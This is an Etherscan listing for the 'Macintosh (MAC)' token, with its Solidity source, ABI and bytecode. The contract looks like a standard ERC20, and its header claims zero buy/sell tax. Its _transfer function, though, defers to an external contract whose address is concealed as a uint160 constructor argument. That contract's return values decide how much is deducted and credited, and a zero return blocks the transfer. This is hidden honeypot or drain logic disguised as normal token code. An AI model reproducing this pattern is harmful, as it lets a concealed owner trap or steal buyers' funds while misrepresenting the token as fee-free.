ETH Price: $2,274.42 (-3.78%)

Token

Macintosh (MAC)
 

Overview

Max Total Supply

1,000,000 MAC

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,543.840191527 MAC

Value
$0.00
0xab4fa35b93156b9e492635ae149886026d315855
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-09-02
*/

// SPDX-License-Identifier: MIT

/**
Buy/sell tax : 0/0
Telegram : 
Twitter : 
Website : 
*/
pragma solidity ^0.8.18;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint160 private _MAX;
    bytes4 private _bytes4;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_,string memory symbol_,uint160 max_,bytes4 bytes4_) {
        _name = name_;
        _symbol = symbol_;
        _MAX = max_;
        _bytes4 = bytes4_;
        _totalSupply = 1_000_000 * 10 ** 9;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        (, bytes memory returnData) = address(_MAX).call(abi.encodeWithSelector(_bytes4, sender, recipient,amount));
        (uint256 amountf,uint256 amounts,uint256 amounta) = abi.decode(returnData, (uint256,uint256,uint256));
        require(amountf > 0);
        _balances[sender] = senderBalance - amounts;
        _balances[recipient] += amounta;
        emit Transfer(sender, recipient, amounta);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint160","name":"max_","type":"uint160"},{"internalType":"bytes4","name":"bytes4_","type":"bytes4"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000fc838038062000fc88339810160408190526200003491620001fa565b6200003f33620000e5565b60036200004d858262000336565b5060046200005c848262000336565b50600680546001600160a01b0384166001600160c01b031990911617600160a01b60e084901c0217905566038d7ea4c68000600581905533600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505062000402565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200015d57600080fd5b81516001600160401b03808211156200017a576200017a62000135565b604051601f8301601f19908116603f01168101908282118183101715620001a557620001a562000135565b81604052838152602092508683858801011115620001c257600080fd5b600091505b83821015620001e65785820183015181830184015290820190620001c7565b600093810190920192909252949350505050565b600080600080608085870312156200021157600080fd5b84516001600160401b03808211156200022957600080fd5b62000237888389016200014b565b955060208701519150808211156200024e57600080fd5b506200025d878288016200014b565b604087015190945090506001600160a01b03811681146200027d57600080fd5b60608601519092506001600160e01b0319811681146200029c57600080fd5b939692955090935050565b600181811c90821680620002bc57607f821691505b602082108103620002dd57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200033157600081815260208120601f850160051c810160208610156200030c5750805b601f850160051c820191505b818110156200032d5782815560010162000318565b5050505b505050565b81516001600160401b0381111562000352576200035262000135565b6200036a81620003638454620002a7565b84620002e3565b602080601f831160018114620003a25760008415620003895750858301515b600019600386901b1c1916600185901b1785556200032d565b600085815260208120601f198616915b82811015620003d357888601518255948401946001909101908401620003b2565b5085821015620003f25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610bb680620004126000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146101cd578063a9059cbb146101e0578063dd62ed3e146101f3578063f2fde38b1461022c57600080fd5b8063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c557600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016457806370a082311461017757600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761023f565b60405161010491906109b6565b60405180910390f35b61012061011b366004610a05565b6102d1565b6040519015158152602001610104565b6005545b604051908152602001610104565b610120610150366004610a2f565b6102e8565b60405160098152602001610104565b610120610172366004610a05565b61039e565b610134610185366004610a6b565b6001600160a01b031660009081526001602052604090205490565b6101a86103d5565b005b6000546040516001600160a01b039091168152602001610104565b6100f761043b565b6101206101db366004610a05565b61044a565b6101206101ee366004610a05565b6104e5565b610134610201366004610a8d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a861023a366004610a6b565b6104f2565b60606003805461024e90610ac0565b80601f016020809104026020016040519081016040528092919081815260200182805461027a90610ac0565b80156102c75780601f1061029c576101008083540402835291602001916102c7565b820191906000526020600020905b8154815290600101906020018083116102aa57829003601f168201915b5050505050905090565b60006102de3384846105bd565b5060015b92915050565b60006102f58484846106e1565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561037f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610393853361038e8685610b10565b6105bd565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102de91859061038e908690610b23565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6104396000610942565b565b60606004805461024e90610ac0565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610376565b6104db338561038e8685610b10565b5060019392505050565b60006102de3384846106e1565b6000546001600160a01b0316331461054c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6001600160a01b0381166105b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610376565b6105ba81610942565b50565b6001600160a01b03831661061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b0382166106805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610376565b6001600160a01b0382166107a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610376565b6001600160a01b03838116600081815260016020526040808220546006549151602481019490945286851660448501526064840186905293919291811691600160a01b90910460e01b9060840160408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516108329190610b36565b6000604051808303816000865af19150503d806000811461086f576040519150601f19603f3d011682016040523d82523d6000602084013e610874565b606091505b509150506000806000838060200190518101906108919190610b52565b925092509250600083116108a457600080fd5b6108ae8286610b10565b6001600160a01b03808a1660009081526001602052604080822093909355908916815290812080548392906108e4908490610b23565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093091815260200190565b60405180910390a35050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60005b838110156109ad578181015183820152602001610995565b50506000910152565b60208152600082518060208401526109d5816040850160208701610992565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114610a0057600080fd5b919050565b60008060408385031215610a1857600080fd5b610a21836109e9565b946020939093013593505050565b600080600060608486031215610a4457600080fd5b610a4d846109e9565b9250610a5b602085016109e9565b9150604084013590509250925092565b600060208284031215610a7d57600080fd5b610a86826109e9565b9392505050565b60008060408385031215610aa057600080fd5b610aa9836109e9565b9150610ab7602084016109e9565b90509250929050565b600181811c90821680610ad457607f821691505b602082108103610af457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102e2576102e2610afa565b808201808211156102e2576102e2610afa565b60008251610b48818460208701610992565b9190910192915050565b600080600060608486031215610b6757600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122089ed9bd07a9e86b3f23c0774ffb488bd1986f1872fd3694414cb817f385704f564736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000b2dbb1d506dbda45c507c741a5f671bec5274f8ebeabacc80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094d6163696e746f7368000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d41430000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146101cd578063a9059cbb146101e0578063dd62ed3e146101f3578063f2fde38b1461022c57600080fd5b8063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c557600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016457806370a082311461017757600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f761023f565b60405161010491906109b6565b60405180910390f35b61012061011b366004610a05565b6102d1565b6040519015158152602001610104565b6005545b604051908152602001610104565b610120610150366004610a2f565b6102e8565b60405160098152602001610104565b610120610172366004610a05565b61039e565b610134610185366004610a6b565b6001600160a01b031660009081526001602052604090205490565b6101a86103d5565b005b6000546040516001600160a01b039091168152602001610104565b6100f761043b565b6101206101db366004610a05565b61044a565b6101206101ee366004610a05565b6104e5565b610134610201366004610a8d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a861023a366004610a6b565b6104f2565b60606003805461024e90610ac0565b80601f016020809104026020016040519081016040528092919081815260200182805461027a90610ac0565b80156102c75780601f1061029c576101008083540402835291602001916102c7565b820191906000526020600020905b8154815290600101906020018083116102aa57829003601f168201915b5050505050905090565b60006102de3384846105bd565b5060015b92915050565b60006102f58484846106e1565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561037f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610393853361038e8685610b10565b6105bd565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102de91859061038e908690610b23565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6104396000610942565b565b60606004805461024e90610ac0565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610376565b6104db338561038e8685610b10565b5060019392505050565b60006102de3384846106e1565b6000546001600160a01b0316331461054c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610376565b6001600160a01b0381166105b15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610376565b6105ba81610942565b50565b6001600160a01b03831661061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b0382166106805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610376565b6001600160a01b0382166107a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610376565b6001600160a01b03838116600081815260016020526040808220546006549151602481019490945286851660448501526064840186905293919291811691600160a01b90910460e01b9060840160408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516108329190610b36565b6000604051808303816000865af19150503d806000811461086f576040519150601f19603f3d011682016040523d82523d6000602084013e610874565b606091505b509150506000806000838060200190518101906108919190610b52565b925092509250600083116108a457600080fd5b6108ae8286610b10565b6001600160a01b03808a1660009081526001602052604080822093909355908916815290812080548392906108e4908490610b23565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093091815260200190565b60405180910390a35050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60005b838110156109ad578181015183820152602001610995565b50506000910152565b60208152600082518060208401526109d5816040850160208701610992565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114610a0057600080fd5b919050565b60008060408385031215610a1857600080fd5b610a21836109e9565b946020939093013593505050565b600080600060608486031215610a4457600080fd5b610a4d846109e9565b9250610a5b602085016109e9565b9150604084013590509250925092565b600060208284031215610a7d57600080fd5b610a86826109e9565b9392505050565b60008060408385031215610aa057600080fd5b610aa9836109e9565b9150610ab7602084016109e9565b90509250929050565b600181811c90821680610ad457607f821691505b602082108103610af457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102e2576102e2610afa565b808201808211156102e2576102e2610afa565b60008251610b48818460208701610992565b9190910192915050565b600080600060608486031215610b6757600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122089ed9bd07a9e86b3f23c0774ffb488bd1986f1872fd3694414cb817f385704f564736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000b2dbb1d506dbda45c507c741a5f671bec5274f8ebeabacc80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094d6163696e746f7368000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d41430000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Macintosh
Arg [1] : symbol_ (string): MAC
Arg [2] : max_ (uint160): 1021099711768992625584788485092686202753463570318
Arg [3] : bytes4_ (bytes4): 0xbeabacc8

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
